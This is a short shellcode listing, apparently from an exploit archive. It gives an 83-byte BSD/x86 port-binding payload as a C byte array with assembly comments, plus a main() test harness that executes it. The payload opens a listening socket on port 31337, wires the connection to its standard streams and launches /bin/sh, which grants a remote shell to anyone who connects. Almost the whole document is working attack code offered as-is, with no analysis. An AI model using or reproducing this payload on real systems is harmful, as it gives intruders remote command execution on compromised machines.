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bsd/x86 portbind port 31337 83 bytes
[====================================
bsd/x86 portbind port 31337 83 bytes
====================================
/* portbinding execve() shellcode (port 31337) bsd/x86 (83b) - no1 (greyhats.za.net) */
char shellc0de[]=
"\x99" // cdq
"\x52" // pushl %edx
"\x6a\x01" // pushl $0x01
"\x6a\x02" // pushl $0x02
"\xb0\x61" // movb $0x61,%al
"\x50" // pushl %eax
"\xcd\x80" // int $0x80
"\x52" // pushl %edx
"\x68\xff\x02\x7a\x69" // pushl $0x697a02ff
"\x89\xe3" // movl %esp,%ebx
"\x6a\x10" // push $0x10
"\x53" // pushl %ebx
"\x50" // pushl %eax
"\x93" // xchg %eax,%ebx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x68" // movb $0x68,%al
"\x50" // pushl %eax
"\xcd\x80" // int $0x80
"\x53" // pushl %ebx
"\xb0\x6a" // movb $0x6a,%al
"\x50" // pushl %eax
"\xcd\x80" // int $0x80
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x50" // pushl %eax
"\x53" // pushl %ebx
"\xb0\x1e" // movb $0x1e,%al
"\x50" // pushl %eax
"\xcd\x80" // int $0x80
"\x93" // xchg %eax,%ebx
"\x89\xc1" // movl %eax,%ecx
// looper:
"\x31\xc0" // xor %eax,%eax
"\x51" // pushl %ecx
"\x53" // pushl %ebx
"\xb0\x5a" // movb $0x5a,%al
"\x50" // pushl %eax
"\xcd\x80" // int $0x80
"\x49" // decl %ecx
"\x79\xf4" // jns looper
"\x50" // pushl %eax
"\x68\x2f\x2f\x73\x68" // pushl $0x68732f2f
"\x68\x2f\x62\x69\x6e" // pushl $0x6e69622f
"\x89\xe3" // movl %esp,%ebx
"\x50" // pushl %eax
"\x54" // pushl %esp
"\x53" // pushl %ebx
"\xb0\x3b" // movb $0x3b,%al
"\x50" // pushl %eax
"\xcd\x80"; // int $0x80
int
main()
{
void(*sc)()=(void *)shellc0de;
printf("\nportbinding execve() shellcode (port 31337) bsd/x86 (%db) - no1 (greyhats.za.net)\n",strlen(shellc0de));
sc();
return;
}
# 0day.today [2024-09-28] #